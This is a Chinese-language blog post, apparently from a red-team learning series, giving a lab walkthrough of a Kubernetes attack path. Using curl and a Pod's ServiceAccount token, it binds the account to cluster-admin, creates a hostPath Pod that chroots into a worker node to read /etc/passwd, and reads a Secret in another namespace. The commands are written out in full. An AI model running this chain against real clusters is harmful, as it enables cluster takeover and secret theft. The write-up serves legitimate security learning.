iT邦幫忙

2026 iThome 鐵人賽

DAY 24
0

經過 Day 20~23 的討論,這次我們將這四天的內容串成一條攻擊路徑,透過實作加深印象。

這次的 Lab 長什麼樣

  • 這次的叢集由兩台機器組成:.182 是 control-plane,.183 是 worker(css-leon-12-183-demo)。
  • 我們的起點只有一顆 Pod 的 shell:namespace lab24 裡的 foothold,映像是 curlimages/curl,所以只有 curl、沒有 kubectl。
  • 這顆 Pod 的 ServiceAccount 被誤設了 Day 21 那種「可以管 RBAC」的權限。
  • 另外有一個 namespace lab24-prod,裡面放了一個 Secret crown-jewel。foothold 對這個 namespace 完全沒有任何權限——最後能不能讀到它,就是「跨 namespace 通吃」的驗收標準。

K8s Attack Path 實踐

我們這次的目標是從 Pod 內的容器出發,利用 ServiceAccount 的過度授權,透過 Kubernetes API 建立新的 Pod,最終存取 Worker 183 的主機檔案系統。進入起始容器後,先設定接下來會用到的變數與函數:

SA=/var/run/secrets/kubernetes.io/serviceaccount; API=https://kubernetes.default.svc
AUTH="Authorization: Bearer $(cat $SA/token)"; C() { curl -s --cacert $SA/ca.crt -H "$AUTH" "$@"; }

lab-01

1.查看容器環境

先檢查現在所在的容器有甚麼權限跟資源可以給我們使用:

id                                             
grep -E '^Cap(Prm|Eff|Bnd)' /proc/self/status   
command -v kubectl; command -v nsenter; command -v base64 ; command -v chroot

lab-02

根據輸出結果可以獲得以下資訊:

  • 目前程序以非 root 使用者執行。
  • 容器內未安裝 kubectl,但有 nsenter、base64 與 chroot。
  • 有 base64 給我們使用。
  • CapPrm 與 CapEff 都是 0,表示目前程序沒有 permitted 或 effective capabilities。

2.尋找 token、確認身分與 Node 名稱

先去尋找這個 Pod 的身分跟 Token 看看能不能挖出甚麼好東西:

cat $SA/namespace ; echo
cut -d. -f2 $SA/token | tr '_-' '/+' | base64 -d 2>/dev/null | tr ',' '\n'

lab-03
在這裡我們查出這個 pod 的資訊如下:

  • node = Worker 183
  • namespace = lab24
  • Pod 的名稱 = foothold

3.列舉權限,查看現在的身分可以做到哪一些事?

確認身分了,接下來看看我們能利用這個 token 做到什麼事情:

C -H 'Content-Type: application/json' -X POST $API/apis/authorization.k8s.io/v1/selfsubjectrulesreviews \
  -d '{"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","spec":{"namespace":"lab24"}}'

lab-04

完整的 JSON 回應如下:

{
  "kind": "SelfSubjectRulesReview",
  "apiVersion": "authorization.k8s.io/v1",
  "metadata": {
    "creationTimestamp": null
  },
  "spec": {},
  "status": {
    "resourceRules": [
      {
        "verbs": [
          "create",
          "get",
          "list"
        ],
        "apiGroups": [
          "rbac.authorization.k8s.io"
        ],
        "resources": [
          "clusterrolebindings"
        ]
      },
      {
        "verbs": [
          "bind",
          "escalate",
          "get",
          "list"
        ],
        "apiGroups": [
          "rbac.authorization.k8s.io"
        ],
        "resources": [
          "clusterroles"
        ]
      },
      {
        "verbs": [
          "create"
        ],
        "apiGroups": [
          "authorization.k8s.io"
        ],
        "resources": [
          "selfsubjectaccessreviews",
          "selfsubjectrulesreviews"
        ]
      },
      {
        "verbs": [
          "create"
        ],
        "apiGroups": [
          "authentication.k8s.io"
        ],
        "resources": [
          "selfsubjectreviews"
        ]
      }
    ],
    "nonResourceRules": [
      {
        "verbs": [
          "get"
        ],
        "nonResourceURLs": [
          "/api",
          "/api/*",
          "/apis",
          "/apis/*",
          "/healthz",
          "/livez",
          "/openapi",
          "/openapi/*",
          "/readyz",
          "/version",
          "/version/"
        ]
      },
      {
        "verbs": [
          "get"
        ],
        "nonResourceURLs": [
          "/healthz",
          "/livez",
          "/readyz",
          "/version",
          "/version/"
        ]
      },
      {
        "verbs": [
          "get"
        ],
        "nonResourceURLs": [
          "/.well-known/openid-configuration",
          "/.well-known/openid-configuration/",
          "/openid/v1/jwks",
          "/openid/v1/jwks/"
        ]
      }
    ],
    "incomplete": false
  }
}

對照 Day 21 介紹的 RBAC 規則,可以發現目前的 ServiceAccount 具有建立 ClusterRoleBinding,以及對 cluster-admin 這個 ClusterRole 執行 bind 的權限。因此,我們可以建立新的綁定,將 cluster-admin 的權限授予目前使用的 ServiceAccount。
在綁定之前先檢查一下 Pod 的身分能不能做到讀取 Secret、建立 Pod、查看 Nodes 清單:

C -o /dev/null -w " %{http_code}\n" $API/api/v1/namespaces/kube-system/secrets
C -o /dev/null -w " %{http_code}\n" $API/api/v1/namespaces/lab24-prod/secrets/crown-jewel
C -o /dev/null -w " %{http_code}\n" $API/api/v1/nodes
C -o /dev/null -w " %{http_code}\n" -H 'Content-Type: application/json' \
  -X POST "$API/api/v1/namespaces/lab24/pods?dryRun=All" \
  -d '{"apiVersion":"v1","kind":"Pod","metadata":{"name":"probe"},"spec":{"containers":[{"name":"c","image":"busybox"}]}}'

lab-05

根據上面的圖片輸出結果,目前都沒有權限可以做到讀取 Secret、建立 Pod、查看 Nodes 清單。

4.將目前使用的 ServiceAccount 綁定至 cluster-admin

現在我們可以新建一條 ClusterRoleBinding,讓我們拿到
cluster-admin:

C -o /dev/null -w "create CRB -> %{http_code}\n" -H 'Content-Type: application/json' -X POST \
  $API/apis/rbac.authorization.k8s.io/v1/clusterrolebindings \
  -d '{"apiVersion":"rbac.authorization.k8s.io/v1","kind":"ClusterRoleBinding","metadata":{"name":"lab24-pwn"},"roleRef":{"apiGroup":"rbac.authorization.k8s.io","kind":"ClusterRole","name":"cluster-admin"},"subjects":[{"kind":"ServiceAccount","name":"foothold","namespace":"lab24"}]}'

lab-06

建立成功後回去執行剛剛檢查權限的四個指令確認權限是否已生效:
lab-07

5. 列舉 node 清單

可以用以下指令來檢視 Cluster 的 Node 狀態:

C $API/api/v1/nodes | grep -oE '"name": "[^"]*"'
C $API/api/v1/nodes | grep -E '"(name|key|effect)": ' | grep -vE 'f:|manager|operation'

lab-08

從這張圖可以看到這個叢集的節點組成初步被我們掌握了。

6. 用 API 在指定的 Node 上建立一個 hostPath Pod

接著在 Worker 183 上建立一個新的 Pod,透過 hostPath 將主機根目錄掛載至容器內的 /host,再讓其中的容器執行 chroot /host head -n1 /etc/passwd,讀取主機的 /etc/passwd 第一行。

cat > /tmp/escape.json <<'JSON'
{"apiVersion":"v1","kind":"Pod","metadata":{"name":"escape","namespace":"lab24"},
 "spec":{"nodeName":"css-leon-12-183-demo","restartPolicy":"Never",
  "containers":[{"name":"c","image":"busybox:1.28","imagePullPolicy":"IfNotPresent",
    "command":["sh","-c","echo NODE=$(cat /host/etc/hostname); echo MACHINE_ID=$(cat /host/etc/machine-id); chroot /host head -n1 /etc/passwd"],
    "volumeMounts":[{"name":"h","mountPath":"/host"}]}],
  "volumes":[{"name":"h","hostPath":{"path":"/"}}]}}
JSON
C -o /dev/null -w "create escape pod -> %{http_code}\n" -H 'Content-Type: application/json' -X POST \
  $API/api/v1/namespaces/lab24/pods -d @/tmp/escape.json     

lab-09

最後用這指令確認主機根目錄是否已成功掛載:

C $API/api/v1/namespaces/lab24/pods/escape/log

lab-10

7. 跨 namespace 讀取 Secret

最後,我們嘗試讀取 lab24-prod namespace 中名為 crown-jewel 的 Secret。取得 cluster-admin 權限後,原先遭到拒絕的讀取請求已能成功執行,並可將其中的 flag 欄位進行 Base64 解碼。

C $API/api/v1/namespaces/lab24-prod/secrets/crown-jewel | grep -E '"(flag|type)"'
C $API/api/v1/namespaces/lab24-prod/secrets/crown-jewel | grep -oE '"flag": "[^"]*"' | cut -d'"' -f4 | base64 -d; echo

lab-11

這樣就完成了今天 K8s Attack Path 的過程了。


這是我第一次完整設計並實作這條攻擊路徑,若有說明不精確,或值得進一步驗證的地方,歡迎在留言區分享意見與想法。
謝謝大家的閱讀,我們明天見!


上一篇
Day 23|Privileged Pod 與 HostPath:Pod 怎麼一步一步接近 Node
系列文
我以前被社會打穿,現在輪到我研究怎麼把系統打穿:資安工程師的 30 天紅隊轉職實驗 共 24 篇
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言